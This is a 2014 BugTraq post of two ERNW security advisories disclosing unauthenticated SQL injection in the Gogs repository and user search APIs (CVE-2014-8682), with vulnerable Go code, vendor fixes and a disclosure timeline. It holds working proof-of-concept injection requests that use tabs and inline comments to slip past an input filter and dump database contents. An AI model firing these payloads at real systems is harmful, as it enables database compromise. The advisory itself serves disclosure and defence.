BugTraq
CVE-2014-8682 Multiple Unauthenticated SQL Injections in Gogs Nov 14 2014 07:01PM
Timo Schmid (tschmid ernw de)

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Hash: RIPEMD160

Unauthenticated SQL Injection in Gogs repository search
=======================================================
Researcher: Timo Schmid <tschmid (at) ernw (dot) de [email concealed]>

Description
===========
Gogs(Go Git Service) is a painless self-hosted Git Service written in
Go. (taken
from [1])

It is very similiar to the github hosting plattform. Multiple users can
create
multiple repositories and share code with others with the git version
control
system. Repositories can be marked as public or private to prevent
access from
unauthorized users.

Gogs provides an api view to give javascript code the possibility to
search for
existing repositories in the system. This view is accessible at
/api/v1/repos/search?q=<search query>.

The q Parameter of this view is vulnerable to SQL injection.

Exploitation Technique
======================
Remote

Severity Level
==============
Critical

CVSS Base Score
===============
8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P)

CVE-ID
======
CVE-2014-8682

Impact
======
The vulnerability results at least in a complete compromise of the database.
Depending on the particular database configuration a compromise of the
system
is also possible.

Status
======
Fixed by Vendor

Vulnerable Code Section
=======================
models/repo.go:
[...]
// SearchRepositoryByName returns given number of repositories whose name
contains keyword.
func SearchRepositoryByName(opt SearchOption) (repos []*Repository, err
error) {
// Prevent SQL inject.
opt.Keyword = FilterSQLInject(opt.Keyword)
if len(opt.Keyword) == 0 {
return repos, nil
}
opt.Keyword = strings.ToLower(opt.Keyword)

repos = make([]*Repository, 0, opt.Limit)

// Append conditions.
sess := x.Limit(opt.Limit)
if opt.Uid > 0 {
sess.Where("owner_id=?", opt.Uid)
}
if !opt.Private {
sess.And("is_private=false")
}
sess.And("lower_name like '%" + opt.Keyword + "%'").Find(&repos)
return repos, err
}
[...]

The vulnerability exists because of a string concatination in the SQL
query with
user supplied data. Because of the SQL filter at the method entry, attackers
can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also
filtered.

Proof of Concept
================
Request:
http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%0
9FROM%09
(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SE
LECT%09
user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%
09null)
%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09n
ull)%09
as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null
)%09as
%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%
09as%09
a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a
11%09
JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09
%09JOIN
%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%
09JOIN
%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%
09JOIN
%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%
09JOIN
%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%
09JOIN
%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27

Response:
{"data":[{"repolink":"bluec0re/test"},{"repolink":"bluec0re/secret"},{"r
epolink"
:"bluec0re/root@localhost"}],"ok":true}

Solution
========
This vulnerability could easily be fixed by using prepared statements:

sess.And("lower_name like ?", "%" + opt.Keyword + "%").Find(&repos)

Update to version 0.5.6.1105.

Affected Versions
=================
>= v0.3.1-9-g49dc57e
<= v0.5.6.1104-g0c5ba45

Timeline
========
2014-09-25: Developer informed
2014-10-16: Contact of developer regarding fix
2014-10-25: Working together with developer on fix
2014-11-03: Contacted developer
2014-11-04: Fixed in master branch
2014-11-14: CVE-ID assigned

Credits
=======
Pascal Turbing <pturbing (at) ernw (dot) de [email concealed]>
Jiahua (Joe) Chen <u (at) gogs (dot) io [email concealed]>

References
==========Update to version 0.5.6.1105.
[1] https://github.com/gogits/gogs
[2] http://gogs.io/
[3]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-pur
poses-part-1/
[4]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-pur
poses-part-2/
[5]
http://www.insinuator.net/2012/06/sql-injection-testing-for-business-pur
poses-part-3/
[6] https://www.ernw.de/download/BC-1402.txt

Advisory-ID
===========
BC-1402

Disclaimer
==========
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO
warranties, implied or otherwise, with regard to this information or its
use.
Any use of this information is at the user's risk. In no event shall the
author/
distributor be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.

Unauthenticated SQL Injection in Gogs user search
=================================================
Researcher: Timo Schmid <tschmid (at) ernw (dot) de [email concealed]>

Description
===========
Gogs(Go Git Service) is a painless self-hosted Git Service written in
Go. (taken
from [1])

It is very similiar to the github hosting plattform. Multiple users can
create
multiple repositories and share code with others with the git version
control
system. Repositories can be marked as public or private to prevent
access from
unauthorized users.

Gogs provides an api view to give javascript code the possibility to
search for
existing users in the system. This view is accessible at
/api/v1/users/search?q=<search query>.

The q Parameter of this view is vulnerable to SQL injection.

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Critical

CVSS Base Score
===============
8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P)

CVE-ID
======
CVE-2014-8682

Impact
======
The vulnerability results at least in a complete compromise of the database.
Depending on the particular database configuration a compromise of the
system
is also possible.

Status
======
Fixed by Vendor

Vulnerable Code Section
=======================
models/user.go:
[...]
// SearchUserByName returns given number of users whose name contains
keyword.
func SearchUserByName(opt SearchOption) (us []*User, err error) {
opt.Keyword = FilterSQLInject(opt.Keyword)
if len(opt.Keyword) == 0 {
return us, nil
}
opt.Keyword = strings.ToLower(opt.Keyword)

us = make([]*User, 0, opt.Limit)
err = x.Limit(opt.Limit).Where("type=0").And("lower_name like '%" +
opt.Keyword + "%'").Find(&us)
return us, err
}
[...]

The vulnerability exists because of a string concatination in the SQL
query with
user supplied data. Because of the SQL filter at the method entry, attackers
can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also
filtered.

Proof of Concept
================
Request:
http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union
/**/
select/**/null,null,@@version,null,null,null,null,null,null,null,null,nu
ll,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null/**
/from
/**/mysql.db/**/where/**/('%25'%3D'

Response:
{"data":[{"username":"5.5.40-0ubuntu0.14.04.1","avatar":
"//1.gravatar.com/avatar/"}],"ok":true}

Solution
========
This vulnerability could easily be fixed by using prepared statements:

err = x.Limit(opt.Limit).Where("type=0").And("lower_name like ?", "%" +
opt.Keyword + "%").Find(&us)

Update to version 0.5.6.1105.

Affected Versions
=================
>= v0.3.1-9-g49dc57e
<= v0.5.6.1104-g0c5ba45

Timeline
========
2014-09-25: Developer informed
2014-10-16: Contact of developer regarding fix
2014-10-25: Working together with developer on fix
2014-11-03: Contacted developer
2014-11-04: Fixed in master branch
2014-11-14: CVE-ID assigned

Credits
=======
Pascal Turbing <pturbing (at) ernw (dot) de [email concealed]>
Jiahua (Joe) Chen <u (at) gogs (dot) io [email concealed]>

References
==========
[1] https://github.com/gogits/gogs
[2] http://gogs.io/
[3]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-pur
poses-part-1/
[4]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-pur
poses-part-2/
[5]
http://www.insinuator.net/2012/06/sql-injection-testing-for-business-pur
poses-part-3/
[6] https://www.ernw.de/download/BC-1403.txt

Advisory-ID
===========
BC-1403

Disclaimer
==========
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO
warranties, implied or otherwise, with regard to this information or its
use.
Any use of this information is at the user's risk. In no event shall the
author/
distributor be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.

- --
Timo Schmid

ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg - www.ernw.de
Tel. +49 6221 480390 - Fax 6221 419008 - Cell +49 151 16227192
PGP-FP 971B D4F7 5DD1 FCED 11FC 2C61 7AB6 927D 6F26 6CE0

Handelsregister Mannheim: HRB 337135
Geschaeftsfuehrer: Enno Rey

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